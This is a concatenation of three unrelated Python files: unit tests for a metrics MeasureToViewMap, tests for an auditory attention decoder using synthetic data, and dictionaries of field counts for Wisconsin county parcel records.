name="testView3",
description=description,
columns=columns,
measure=measure2,
aggregation=aggregation)
test_with_registered_measures = measure_to_view_map.register_view(
view=view3, timestamp=timestamp)
self.assertIsNone(test_with_registered_measures)
self.assertEqual(
measure_to_view_map._registered_measures[measure2.name], measure)
measure_to_view_map._registered_measures = {measure.name: None}
self.assertIsNone(
measure_to_view_map._registered_measures.get(measure.name))
measure_to_view_map.register_view(view=view, timestamp=timestamp)
# view is already registered, measure will not be registered again.
self.assertIsNone(
measure_to_view_map._registered_measures.get(measure.name))
self.assertIsNotNone(measure_to_view_map.
_measure_to_view_data_list_map[view.measure.name])
measure_to_view_map._registered_views = {name: view}
test_result_1 = measure_to_view_map.register_view(
view=view, timestamp=timestamp)
self.assertIsNone(test_result_1)
self.assertIsNotNone(measure_to_view_map.
_measure_to_view_data_list_map[view.measure.name])
def test_register_view_with_exporter(self):
exporter = mock.Mock()
name = "testView"
description = "testDescription"
columns = mock.Mock()
measure = MeasureInt("measure", "description", "1")
aggregation = mock.Mock()
view = View(
name=name,
description=description,
columns=columns,
measure=measure,
aggregation=aggregation)
timestamp = mock.Mock()
measure_to_view_map = measure_to_view_map_module.MeasureToViewMap()
measure_to_view_map.exporters.append(exporter)
measure_to_view_map._registered_views = {}
measure_to_view_map._registered_measures = {}
measure_to_view_map.register_view(view=view, timestamp=timestamp)
self.assertIsNone(measure_to_view_map.exported_views)
self.assertEqual(measure_to_view_map._registered_views[view.name],
view)
self.assertEqual(
measure_to_view_map._registered_measures[measure.name], measure)
self.assertIsNotNone(measure_to_view_map.
_measure_to_view_data_list_map[view.measure.name])
def test_record(self):
measure_name = "test_measure"
measure_description = "test_description"
measure = BaseMeasure(
name=measure_name, description=measure_description)
view_name = "test_view"
view_description = "test_description"
view_columns = ["testTag1", "testColumn2"]
view_measure = measure
view_aggregation = mock.Mock()
View(name=view_name,
description=view_description,
columns=view_columns,
measure=view_measure,
aggregation=view_aggregation)
measure_value = 5
tags = {"testTag1": "testTag1Value"}
measurement_map = {measure: measure_value}
timestamp = mock.Mock()
measure_to_view_map = measure_to_view_map_module.MeasureToViewMap()
measure_to_view_map._registered_measures = {}
record = measure_to_view_map.record(
tags=tags,
measurement_map=measurement_map,
timestamp=timestamp,
attachments=None)
self.assertNotEqual(
measure,
measure_to_view_map._registered_measures.get(measure.name))
self.assertIsNone(record)
measure_to_view_map._registered_measures = {measure.name: measure}
measure_to_view_map._measure_to_view_data_list_map = {}
record = measure_to_view_map.record(
tags=tags,
measurement_map=measurement_map,
timestamp=timestamp,
attachments=None)
self.assertEqual(
measure,
measure_to_view_map._registered_measures.get(measure.name))
self.assertIsNone(record)
measure_to_view_map._measure_to_view_data_list_map = {
measure.name: [mock.Mock()]
}
measure_to_view_map.record(
tags=tags,
measurement_map=measurement_map,
timestamp=timestamp,
attachments=None)
self.assertEqual(
measure,
measure_to_view_map._registered_measures.get(measure.name))
self.assertTrue(
measure.name in measure_to_view_map._measure_to_view_data_list_map)
measure_to_view_map._measure_to_view_data_list_map = {
"testing": [mock.Mock()]
}
measure_to_view_map.record(
tags=tags,
measurement_map=measurement_map,
timestamp=timestamp,
attachments=None)
self.assertTrue(measure.name not in measure_to_view_map.
_measure_to_view_data_list_map)
measure_to_view_map_mock = mock.Mock()
measure_to_view_map = measure_to_view_map_mock
measure_to_view_map._registered_measures = {measure.name: measure}
measure_to_view_map._measure_to_view_data_list_map = mock.Mock()
measure_to_view_map.record(
tags=mock.Mock(), stats=mock.Mock(), timestamp=mock.Mock())
self.assertEqual(
measure,
measure_to_view_map._registered_measures.get(measure.name))
self.assertIsNotNone(measure_to_view_map.view_datas)
self.assertTrue(measure_to_view_map_mock.record.called)
tags = {"testTag1": "testTag1Value"}
measurement_map = {}
measure_to_view_map = measure_to_view_map_module.MeasureToViewMap()
record = measure_to_view_map.record(
tags=tags,
measurement_map=measurement_map,
timestamp=timestamp,
attachments=None)
self.assertIsNone(record)
def test_record_negative_value(self):
"""Check that we warn and drop negative measures at record time."""
measure = mock.Mock()
view_data = mock.Mock()
measure_to_view_map = measure_to_view_map_module.MeasureToViewMap()
measure_to_view_map._registered_measures = {measure.name: measure}
measure_to_view_map._measure_to_view_data_list_map = {
measure.name: [view_data]
}
with self.assertRaises(AssertionError):
measure_to_view_map.record(
tags=mock.Mock(),
measurement_map={measure: -1},
timestamp=mock.Mock())
view_data.record.assert_not_called()
def test_record_with_exporter(self):
exporter = mock.Mock()
measure_name = "test_measure"
measure_description = "test_description"
measure = BaseMeasure(
name=measure_name, description=measure_description)
view_name = "test_view"
view_description = "test_description"
view_columns = ["testTag1", "testColumn2"]
view_measure = measure
view_aggregation = mock.Mock()
View(
name=view_name,
description=view_description,
columns=view_columns,
measure=view_measure,
aggregation=view_aggregation)
measure_value = 5
tags = {"testTag1": "testTag1Value"}
measurement_map = {measure: measure_value}
timestamp = mock.Mock()
measure_to_view_map = measure_to_view_map_module.MeasureToViewMap()
measure_to_view_map.exporters.append(exporter)
measure_to_view_map._registered_measures = {}
record = measure_to_view_map.record(
tags=tags, measurement_map=measurement_map, timestamp=timestamp)
self.assertNotEqual(
measure,
measure_to_view_map._registered_measures.get(measure.name))
self.assertIsNone(record)
def test_export(self):
exporter = mock.Mock()
view_data = []
measure_name = "test_measure"
measure_description = "test_description"
measure = BaseMeasure(
name=measure_name, description=measure_description)
view_name = "test_view"
view_description = "test_description"
view_columns = ["testTag1", "testColumn2"]
view_measure = measure
view_aggregation = mock.Mock()
View(
name=view_name,
description=view_description,
columns=view_columns,
measure=view_measure,
aggregation=view_aggregation)
measure_to_view_map = measure_to_view_map_module.MeasureToViewMap()
measure_to_view_map.exporters.append(exporter)
measure_to_view_map._registered_measures = {}
measure_to_view_map.export(view_data)
self.assertTrue(True)
| python |
# Copyright 2020 Google Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# ==============================================================================
"""Tests for telluride_decoding.attention_decoder."""
from absl.testing import absltest
from absl.testing import parameterized
import matplotlib.axes as axes
import matplotlib.pyplot as plt
import mock
import numpy as np
from telluride_decoding import attention_decoder
class AttentionDecoderPlotTest(absltest.TestCase):
@mock.patch.object(axes.Axes, 'add_patch')
@mock.patch.object(plt, 'fill_between')
@mock.patch.object(plt, 'title')
@mock.patch.object(plt, 'ylabel')
@mock.patch.object(plt, 'xlabel')
@mock.patch.object(plt, 'plot', wraps=plt.plot)
def test_basic(self, mock_plot, mock_xlabel, mock_ylabel, mock_title,
mock_fill_between, mock_add_patch):
ones = np.ones(10)
decision = ones*0.5
xlabel = 'Mock Time (frames)'
ylabel = 'Mock Prob of Speaker 1'
title = 'Mock AAD Decoding Result'
attention_decoder.plot_aad_results(decision, attention_flag=None,
decision_upper=None, decision_lower=None,
t=None, xlabel=xlabel,
ylabel=ylabel,
title=title)
mock_plot.assert_called_once_with(mock.ANY, mock.ANY, 'blue')
mock_xlabel.assert_called_once_with(xlabel)
mock_ylabel.assert_called_once_with(ylabel)
mock_title.assert_called_once_with(title)
mock_fill_between.assert_not_called()
attention_flag = np.array([0, 0, 1, 1, 0, 0, 1, 1, 0, 0])
attention_decoder.plot_aad_results(decision,
attention_flag=attention_flag,
decision_upper=ones*.4,
decision_lower=ones*.6,
t=None, xlabel=xlabel,
ylabel=ylabel,
title=title)
mock_fill_between.assert_called_once_with(mock.ANY, mock.ANY, mock.ANY,
color='lightblue')
# There are two separate segments where the attention_flag variable above
# where attention_flag=1, so we expect just two gray patches in the plot.
self.assertEqual(mock_add_patch.call_count, 2)
class AttentionDecoderPlotErrorTest(parameterized.TestCase):
ones = np.ones(10)
@parameterized.named_parameters(
('bad_decision', True, ones, ones, ones, ones, 'decision'), # pylint: disable=bad-whitespace
('bad_attention', ones, True, ones, ones, ones, 'attention_flag'), # pylint: disable=bad-whitespace
('bad_upper', ones, ones, True, ones, ones, 'decision_upper'), # pylint: disable=bad-whitespace
('bad_lower', ones, ones, ones, True, ones, 'decision_lower'), # pylint: disable=bad-whitespace
('bad_t', ones, ones, ones, ones, True, 't'), # pylint: disable=bad-whitespace
)
def test_bad_param(self, decision, attention, upper, lower, t, var):
with self.assertRaisesRegex(TypeError,
'Argument %s must be an np array, not' % var):
attention_decoder.plot_aad_results(decision=decision,
attention_flag=attention,
decision_upper=upper,
decision_lower=lower,
t=t)
part = ones[:5]
@parameterized.named_parameters(
('bad_attention', ones, part, ones, ones, ones, 'attention_flag'), # pylint: disable=bad-whitespace
('bad_upper', ones, ones, part, ones, ones, 'decision_upper'), # pylint: disable=bad-whitespace
('bad_lower', ones, ones, ones, part, ones, 'decision_lower'), # pylint: disable=bad-whitespace
('bad_t', ones, ones, ones, ones, part, 't'), # pylint: disable=bad-whitespace
)
def test_short_param(self, decision, attention, upper, lower, t, var):
with self.assertRaisesRegex(TypeError,
'Input %s must match length of decision' % var):
attention_decoder.plot_aad_results(decision=decision,
attention_flag=attention,
decision_upper=upper,
decision_lower=lower,
t=t)
class AttentionDecoder(absltest.TestCase):
def test_basics(self):
ad = attention_decoder.AttentionDecoder()
self.assertTrue(ad.attention(0.6, 0.4)[0])
self.assertFalse(ad.attention(0.4, 0.6)[0])
self.assertTrue(ad.attention(0.6*np.ones(5), 0.4*np.ones(5))[0])
self.assertFalse(ad.attention(0.4*np.ones(5), 0.6*np.ones(5))[0])
cor1 = [2, 2, 2, 2, 2, 2, 2, 0, 0, 0, 0, 0, 0]
cor2 = [1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1]
desi = [1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0]
ad.tune(cor1, cor2)
results = [ad.attention(r1, r2)[0] for (r1, r2) in zip(cor1, cor2)]
np.testing.assert_array_equal(desi, results)
class StepAttentionDecoder(absltest.TestCase):
def test_basics(self):
cor1 = [2, 2, 2, 2, 2, 2, 2, 0, 0, 0, 0, 0, 0]
cor2 = [1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1]
desi = [1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0]
ad = attention_decoder.StepAttentionDecoder()
results = [ad.attention(r1, r2)[0] for (r1, r2) in zip(cor1, cor2)]
np.testing.assert_array_equal(desi, results)
def test_short_switch(self):
cor1 = [2, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
cor2 = [1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1]
desi = [1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
ad = attention_decoder.StepAttentionDecoder()
results = [ad.attention(r1, r2)[0] for (r1, r2) in zip(cor1, cor2)]
np.testing.assert_array_equal(desi, results)
class StateAttentionDecoderTest(absltest.TestCase):
def get_synth_corr(self, seconds, fs, state_switch, corr_scale=0.3):
"""Synth data to approximate attentional switch every state_switch seconds.
Args:
seconds: number of seconds total for generated sample.
fs: fictitious sample rate.
state_switch: the interval in seconds at which the attentional state
switches, ex. 10 implies an attentional state switches between s1 and s2
every ten seconds.
corr_scale: scale the correlation measures for more realistic behaviour.
Returns:
true_state: the true underlying attentional state.
correlations: the simulated correlation values.
"""
max_t = fs*seconds
noise_std = 0.5
t = np.arange(max_t)
true_state = np.zeros((max_t,))
true_state += (np.floor(t/(state_switch*fs))%2)+1
correlations = np.zeros((max_t, 2))
correlations[:, 0] = np.random.randn(max_t)*noise_std + (2-true_state)
correlations[:, 1] = np.random.randn(max_t)*noise_std + (true_state-1)
correlations *= corr_scale
correlations = np.minimum(1, np.maximum(-1, correlations))
return true_state, correlations
def test_attention_decoder(self):
"""Test StateSpaceAttentionDecoder can decode the simple synthetic data."""
print('\n\n**********test_attention_decoder starting... *******')
# fictitious data comprising 1000 seconds with attentional switch every 300s
# starting with speaker 1.
fs_corr = 1 # Hertz
len_data = 1000 # seconds
switch_interval = 300 # seconds
init_interval = 100 # seconds
init_frames = int(fs_corr*init_interval) # frames
true_state, correlations = self.get_synth_corr(len_data, fs_corr,
switch_interval)
# Create attention decoder object
outer_iter = 20
inner_iter = 1
newton_iter = 10
ad = attention_decoder.StateSpaceAttentionDecoder(outer_iter,
inner_iter,
newton_iter, fs_corr)
# Tune log normal priors using first 100s of data
ad.tune_log_normal_priors(correlations[:init_frames, 0],
correlations[:init_frames, 1])
# Decode attention based on each set of correlations
results = np.zeros((correlations.shape[0]-ad.k_w-init_frames, 3))
for i in range(correlations[init_frames:, :].shape[0]):
res = ad.attention(correlations[i+init_frames, 0],
correlations[i+init_frames, 1])
if res is not None:
results[i-ad.k_w] = res
print('ADD result: ', res)
s1 = results[:, 0] > 0.5 # classified as speaker 1
# true_state is a vector of 1,2 for speaker 1,2 respectively
# s1 is true if classified as attending to speaker 1
# Here, we test to make sure the error rate from a naive decision, classify
# as attending to speaker 1 if the point estimator results[:,0] is above
# 0.5. We use the first 100 observations to tune the hyperparameters of the
# model using tuneLogNormalPriors above, so we drop this from the subsequent
# analysis. The ad.k_w is the window size of the number of correlation
# values that are used to make a single attentional state decision so the
# first decoded attentional state corresponds to the 100+ad.k_w true_state
# (this is complicated a bit when using forward lags because the first
# decoded attentional state would correspond to the 100+ad.k_w-ad.k_f th
# true_state).
# The true_state vector is a vector of 1s and 2s corresponding to the labels
# speaker 1 and speaker 2, so we convert to a boolean where True indicates
# attending to speaker 1 and False to attending to speaker 2.
error = np.mean(np.abs(s1 != (true_state[init_frames+ad.k_w:] < 2)))
self.assertLess(error, 0.15)
def test_log_normal_initialization(self):
# Pick two different sets of parameters and make sure the initialization
# code recovers the correct Gaussian parameters
# Number of observations
num_data = 1000000
# Generate attended speaker data (log-normal)
mu_a = 0.2
var_a = 0.1
data_a = np.exp(np.random.randn(num_data)*var_a + mu_a)
# Generate unattended speaker data (log-normal)
mu_b = 0.0
var_b = 0.1
data_b = np.exp(np.random.randn(num_data)*var_b + mu_b)
# Create attention decoder object
ad = attention_decoder.StateSpaceAttentionDecoder(20, 1, 10, 1, 1)
# Tune log-normal priors
ad.tune(data_a, data_b)
# Log-transform and normalize between [0,1]
log_data_a = np.log(np.absolute(data_a))
log_data_b = np.log(np.absolute(data_b))
# Compute mean and precision
mu_a = np.mean(log_data_a)
mu_b = np.mean(log_data_b)
rho_a = np.var(log_data_a)
rho_b = np.var(log_data_b)
self.assertAlmostEqual(ad.mu_d[0], mu_a, delta=0.0001)
self.assertAlmostEqual(ad.mu_d[1], mu_b, delta=0.0001)
self.assertAlmostEqual(ad.rho_d[0], 1.0/rho_a, delta=5)
self.assertAlmostEqual(ad.rho_d[1], 1.0/rho_b, delta=5)
# Create new attention decoder object
ad = attention_decoder.StateSpaceAttentionDecoder(20, 1, 10, 1, 1,
offset=1.0)
# Tune log-normal priors
ad.tune(data_a, data_b)
# Make sure the mu value gets bigger with a positive offset.
self.assertGreater(ad.mu_d[0], mu_a + 0.01)
class CreateTest(absltest.TestCase):
def test_all(self):
ad = attention_decoder.create_attention_decoder('wta')
self.assertIsInstance(ad, attention_decoder.AttentionDecoder)
ad = attention_decoder.create_attention_decoder('stepped')
self.assertIsInstance(ad, attention_decoder.StepAttentionDecoder)
ad = attention_decoder.create_attention_decoder('ssd')
self.assertIsInstance(ad, attention_decoder.StateSpaceAttentionDecoder)
with self.assertRaisesRegex(ValueError, 'Unknown type'):
ad = attention_decoder.create_attention_decoder('bad type name')
if __name__ == '__main__':
absltest.main()
| python |
ADAMSLegacyDict = {'PLACENAME': 38653, 'GISACRES': 0, 'CONAME': 38657, 'SUFFIX': 0, 'STREETTYPE': 22335, 'TAXPARCELID': 38657, 'PARCELID': 38657, 'ZIPCODE': 29356, 'PARCELSRC': 38657, 'PARCELFIPS': 38657, 'LOADDATE': 38657, 'PREFIX': 5999, 'AUXCLASS': 5245, 'NETPRPTA': 0, 'SCHOOLDISTNO': 38653, 'UNITID': 697, 'LNDVALUE': 38490, 'OWNERNME1': 38490, 'OWNERNME2': 10531, 'IMPVALUE': 38490, 'CNTASSDVALUE': 38490, 'DEEDACRES': 38490, 'TAXROLLYEAR': 38657, 'PSTLADRESS': 38468, 'IMPROVED': 38490, 'STATEID': 38657, 'ASSDACRES': 38490, 'FORESTVALUE': 0, 'ADDNUMPREFIX': 27, 'ADDNUMSUFFIX': 756, 'ADDNUM': 22335, 'LANDMARKNAME': 29, 'PROPCLASS': 34173, 'UNITTYPE': 697, 'SCHOOLDIST': 38653, 'SITEADRESS': 22335, 'ESTFMKVALUE': 38490, 'GRSPRPTA': 38486, 'STATE': 38657, 'PARCELDATE': 9790, 'STREETNAME': 22335, 'ZIP4': 1101}
ASHLANDLegacyDict = {'PLACENAME': 0, 'GISACRES': 0, 'CONAME': 22802, 'SUFFIX': 2240, 'STREETTYPE': 8168, 'TAXPARCELID': 22040, 'PARCELID': 22802, 'ZIPCODE': 22602, 'PARCELSRC': 22802, 'PARCELFIPS': 22802, 'LOADDATE': 22802, 'PREFIX': 1380, 'AUXCLASS': 6743, 'NETPRPTA': 22040, 'SCHOOLDISTNO': 22040, 'UNITID': 7, 'LNDVALUE': 22040, 'OWNERNME1': 22040, 'OWNERNME2': 1875, 'IMPVALUE': 22040, 'CNTASSDVALUE': 22040, 'DEEDACRES': 0, 'TAXROLLYEAR': 22040, 'PSTLADRESS': 19306, 'IMPROVED': 22040, 'STATEID': 22802, 'ASSDACRES': 22040, 'FORESTVALUE': 22040, 'ADDNUMPREFIX': 1, 'ADDNUMSUFFIX': 9, 'ADDNUM': 8836, 'LANDMARKNAME': 0, 'PROPCLASS': 15554, 'UNITTYPE': 5, 'SCHOOLDIST': 22040, 'SITEADRESS': 9009, 'ESTFMKVALUE': 22040, 'GRSPRPTA': 22040, 'STATE': 22802, 'PARCELDATE': 0, 'STREETNAME': 9009, 'ZIP4': 0}
BARRONLegacyDict = {'PLACENAME': 41822, 'GISACRES': 41822, 'CONAME': 41822, 'SUFFIX': 897, 'STREETTYPE': 22763, 'TAXPARCELID': 41822, 'PARCELID': 41822, 'ZIPCODE': 23036, 'PARCELSRC': 41822, 'PARCELFIPS': 41822, 'LOADDATE': 41822, 'PREFIX': 3517, 'AUXCLASS': 4729, 'NETPRPTA': 41822, 'SCHOOLDISTNO': 41822, 'UNITID': 284, 'LNDVALUE': 41822, 'OWNERNME1': 41822, 'OWNERNME2': 4137, 'IMPVALUE': 41822, 'CNTASSDVALUE': 41822, 'DEEDACRES': 0, 'TAXROLLYEAR': 41822, 'PSTLADRESS': 41822, 'IMPROVED': 41822, 'STATEID': 41822, 'ASSDACRES': 41822, 'FORESTVALUE': 0, 'ADDNUMPREFIX': 0, 'ADDNUMSUFFIX': 504, 'ADDNUM': 23035, 'LANDMARKNAME': 0, 'PROPCLASS': 37812, 'UNITTYPE': 284, 'SCHOOLDIST': 41822, 'SITEADRESS': 23037, 'ESTFMKVALUE': 41822, 'GRSPRPTA': 41822, 'STATE': 41822, 'PARCELDATE': 0, 'STREETNAME': 23037, 'ZIP4': 0}
BAYFIELDLegacyDict = {'PLACENAME': 34480, 'GISACRES': 34480, 'CONAME': 35345, 'SUFFIX': 131, 'STREETTYPE': 9612, 'TAXPARCELID': 34480, 'PARCELID': 34480, 'ZIPCODE': 11437, 'PARCELSRC': 35345, 'PARCELFIPS': 35345, 'LOADDATE': 35345, 'PREFIX': 3794, 'AUXCLASS': 8443, 'NETPRPTA': 34480, 'SCHOOLDISTNO': 34480, 'UNITID': 429, 'LNDVALUE': 34480, 'OWNERNME1': 34476, 'OWNERNME2': 4183, 'IMPVALUE': 34480, 'CNTASSDVALUE': 34480, 'DEEDACRES': 34480, 'TAXROLLYEAR': 34480, 'PSTLADRESS': 31730, 'IMPROVED': 34480, 'STATEID': 35345, 'ASSDACRES': 34480, 'FORESTVALUE': 34480, 'ADDNUMPREFIX': 0, 'ADDNUMSUFFIX': 2, 'ADDNUM': 11437, 'LANDMARKNAME': 0, 'PROPCLASS': 26036, 'UNITTYPE': 420, 'SCHOOLDIST': 34480, 'SITEADRESS': 11437, 'ESTFMKVALUE': 34480, 'GRSPRPTA': 34480, 'STATE': 35345, 'PARCELDATE': 34480, 'STREETNAME': 11437, 'ZIP4': 0}
BROWNLegacyDict = {'PLACENAME': 102022, 'GISACRES': 0, 'CONAME': 102041, 'SUFFIX': 9, 'STREETTYPE': 98201, 'TAXPARCELID': 0, 'PARCELID': 102032, 'ZIPCODE': 0, 'PARCELSRC': 102041, 'PARCELFIPS': 102041, 'LOADDATE': 102041, 'PREFIX': 14838, 'AUXCLASS': 4885, 'NETPRPTA': 97317, 'SCHOOLDISTNO': 101608, 'UNITID': 2293, 'LNDVALUE': 101608, 'OWNERNME1': 101608, 'OWNERNME2': 0, 'IMPVALUE': 101608, 'CNTASSDVALUE': 101608, 'DEEDACRES': 101608, 'TAXROLLYEAR': 102041, 'PSTLADRESS': 101608, 'IMPROVED': 101608, 'STATEID': 102041, 'ASSDACRES': 0, 'FORESTVALUE': 0, 'ADDNUMPREFIX': 0, 'ADDNUMSUFFIX': 23, 'ADDNUM': 88361, 'LANDMARKNAME': 0, 'PROPCLASS': 95822, 'UNITTYPE': 59, 'SCHOOLDIST': 101608, 'SITEADRESS': 101608, 'ESTFMKVALUE': 97317, 'GRSPRPTA': 97317, 'STATE': 102041, 'PARCELDATE': 0, 'STREETNAME': 101608, 'ZIP4': 0}
BUFFALOLegacyDict = {'PLACENAME': 16899, 'GISACRES': 16965, 'CONAME': 16965, 'SUFFIX': 2, 'STREETTYPE': 3013, 'TAXPARCELID': 16965, 'PARCELID': 16965, 'ZIPCODE': 4830, 'PARCELSRC': 16965, 'PARCELFIPS': 16965, 'LOADDATE': 16965, 'PREFIX': 2657, 'AUXCLASS': 3596, 'NETPRPTA': 16900, 'SCHOOLDISTNO': 16899, 'UNITID': 0, 'LNDVALUE': 16899, 'OWNERNME1': 16899, 'OWNERNME2': 5401, 'IMPVALUE': 16899, 'CNTASSDVALUE': 16899, 'DEEDACRES': 0, 'TAXROLLYEAR': 16899, 'PSTLADRESS': 16899, 'IMPROVED': 16899, 'STATEID': 16965, 'ASSDACRES': 16899, 'FORESTVALUE': 0, 'ADDNUMPREFIX': 3583, 'ADDNUMSUFFIX': 71, 'ADDNUM': 4809, 'LANDMARKNAME': 0, 'PROPCLASS': 13760, 'UNITTYPE': 1443, 'SCHOOLDIST': 16899, 'SITEADRESS': 4841, 'ESTFMKVALUE': 16899, 'GRSPRPTA': 16900, 'STATE': 16965, 'PARCELDATE': 10252, 'STREETNAME': 4840, 'ZIP4': 0}
BURNETTLegacyDict = {'PLACENAME': 31221, 'GISACRES': 31221, 'CONAME': 32242, 'SUFFIX': 1142, 'STREETTYPE': 12473, 'TAXPARCELID': 31221, 'PARCELID': 32242, 'ZIPCODE': 15295, 'PARCELSRC': 32242, 'PARCELFIPS': 32242, 'LOADDATE': 32242, 'PREFIX': 3755, 'AUXCLASS': 3691, 'NETPRPTA': 31221, 'SCHOOLDISTNO': 31221, 'UNITID': 58, 'LNDVALUE': 31221, 'OWNERNME1': 31221, 'OWNERNME2': 3404, 'IMPVALUE': 31221, 'CNTASSDVALUE': 31221, 'DEEDACRES': 31221, 'TAXROLLYEAR': 31221, 'PSTLADRESS': 31154, 'IMPROVED': 31221, 'STATEID': 32242, 'ASSDACRES': 31221, 'FORESTVALUE': 31221, 'ADDNUMPREFIX': 0, 'ADDNUMSUFFIX': 0, 'ADDNUM': 15295, 'LANDMARKNAME': 0, 'PROPCLASS': 27444, 'UNITTYPE': 41, 'SCHOOLDIST': 31221, 'SITEADRESS': 15295, 'ESTFMKVALUE': 31221, 'GRSPRPTA': 31221, 'STATE': 32242, 'PARCELDATE': 31221, 'STREETNAME': 15295, 'ZIP4': 2}
CALUMETLegacyDict = {'PLACENAME': 27151, 'GISACRES': 26598, 'CONAME': 27870, 'SUFFIX': 2, 'STREETTYPE': 18642, 'TAXPARCELID': 27253, 'PARCELID': 27870, 'ZIPCODE': 0, 'PARCELSRC': 27870, 'PARCELFIPS': 27870, 'LOADDATE': 27870, 'PREFIX': 4988, 'AUXCLASS': 1717, 'NETPRPTA': 24080, 'SCHOOLDISTNO': 27121, 'UNITID': 164, 'LNDVALUE': 27126, 'OWNERNME1': 27228, 'OWNERNME2': 13068, 'IMPVALUE': 27126, 'CNTASSDVALUE': 27126, 'DEEDACRES': 27119, 'TAXROLLYEAR': 27845, 'PSTLADRESS': 26975, 'IMPROVED': 27126, 'STATEID': 27870, 'ASSDACRES': 27119, 'FORESTVALUE': 4821, 'ADDNUMPREFIX': 10023, 'ADDNUMSUFFIX': 0, 'ADDNUM': 16565, 'LANDMARKNAME': 12, 'PROPCLASS': 25294, 'UNITTYPE': 9, 'SCHOOLDIST': 27121, 'SITEADRESS': 21355, 'ESTFMKVALUE': 27126, 'GRSPRPTA': 25327, 'STATE': 27870, 'PARCELDATE': 2922, 'STREETNAME': 21352, 'ZIP4': 0}
CHIPPEWALegacyDict = {'PLACENAME': 48526, 'GISACRES': 51039, 'CONAME': 51039, 'SUFFIX': 267, 'STREETTYPE': 21555, 'TAXPARCELID': 48526, 'PARCELID': 48735, 'ZIPCODE': 0, 'PARCELSRC': 51039, 'PARCELFIPS': 51039, 'LOADDATE': 51039, 'PREFIX': 7261, 'AUXCLASS': 5418, 'NETPRPTA': 48526, 'SCHOOLDISTNO': 48526, 'UNITID': 105, 'LNDVALUE': 48427, 'OWNERNME1': 48526, 'OWNERNME2': 147, 'IMPVALUE': 48427, 'CNTASSDVALUE': 48427, 'DEEDACRES': 48526, 'TAXROLLYEAR': 48526, 'PSTLADRESS': 48526, 'IMPROVED': 48427, 'STATEID': 51039, 'ASSDACRES': 0, 'FORESTVALUE': 4719, 'ADDNUMPREFIX': 2, 'ADDNUMSUFFIX': 2, 'ADDNUM': 25426, 'LANDMARKNAME': 0, 'PROPCLASS': 43368, 'UNITTYPE': 106, 'SCHOOLDIST': 48526, 'SITEADRESS': 25427, 'ESTFMKVALUE': 48526, 'GRSPRPTA': 0, 'STATE': 51039, 'PARCELDATE': 92, 'STREETNAME': 25427, 'ZIP4': 0}
CLARKLegacyDict = {'PLACENAME': 35697, 'GISACRES': 35697, 'CONAME': 35697, 'SUFFIX': 0, 'STREETTYPE': 14278, 'TAXPARCELID': 35697, 'PARCELID': 35697, 'ZIPCODE': 17140, 'PARCELSRC': 35697, 'PARCELFIPS': 35697, 'LOADDATE': 35697, 'PREFIX': 6925, 'AUXCLASS': 5259, 'NETPRPTA': 31032, 'SCHOOLDISTNO': 35697, 'UNITID': 28, 'LNDVALUE': 31028, 'OWNERNME1': 35697, 'OWNERNME2': 20176, 'IMPVALUE': 15398, 'CNTASSDVALUE': 31035, 'DEEDACRES': 34809, 'TAXROLLYEAR': 35697, 'PSTLADRESS': 35697, 'IMPROVED': 31035, 'STATEID': 35697, 'ASSDACRES': 0, 'FORESTVALUE': 0, 'ADDNUMPREFIX': 10878, 'ADDNUMSUFFIX': 10, 'ADDNUM': 16139, 'LANDMARKNAME': 0, 'PROPCLASS': 31094, 'UNITTYPE': 28, 'SCHOOLDIST': 35697, 'SITEADRESS': 17038, 'ESTFMKVALUE': 31258, 'GRSPRPTA': 32238, 'STATE': 35697, 'PARCELDATE': 0, 'STREETNAME': 17010, 'ZIP4': 10}
COLUMBIALegacyDict = {'PLACENAME': 42478, 'GISACRES': 42586, 'CONAME': 42586, 'SUFFIX': 36, 'STREETTYPE': 20095, 'TAXPARCELID': 42478, 'PARCELID': 42586, 'ZIPCODE': 10674, 'PARCELSRC': 42586, 'PARCELFIPS': 42586, 'LOADDATE': 42586, 'PREFIX': 8037, 'AUXCLASS': 4175, 'NETPRPTA': 42478, 'SCHOOLDISTNO': 42478, 'UNITID': 220, 'LNDVALUE': 42478, 'OWNERNME1': 42469, 'OWNERNME2': 19514, 'IMPVALUE': 42478, 'CNTASSDVALUE': 42478, 'DEEDACRES': 42478, 'TAXROLLYEAR': 42478, 'PSTLADRESS': 42478, 'IMPROVED': 42478, 'STATEID': 42586, 'ASSDACRES': 42476, 'FORESTVALUE': 42478, 'ADDNUMPREFIX': 12036, 'ADDNUMSUFFIX': 43, 'ADDNUM': 23736, 'LANDMARKNAME': 0, 'PROPCLASS': 38906, 'UNITTYPE': 0, 'SCHOOLDIST': 42478, 'SITEADRESS': 23736, 'ESTFMKVALUE': 42478, 'GRSPRPTA': 42478, 'STATE': 42586, 'PARCELDATE': 19367, 'STREETNAME': 23736, 'ZIP4': 0}
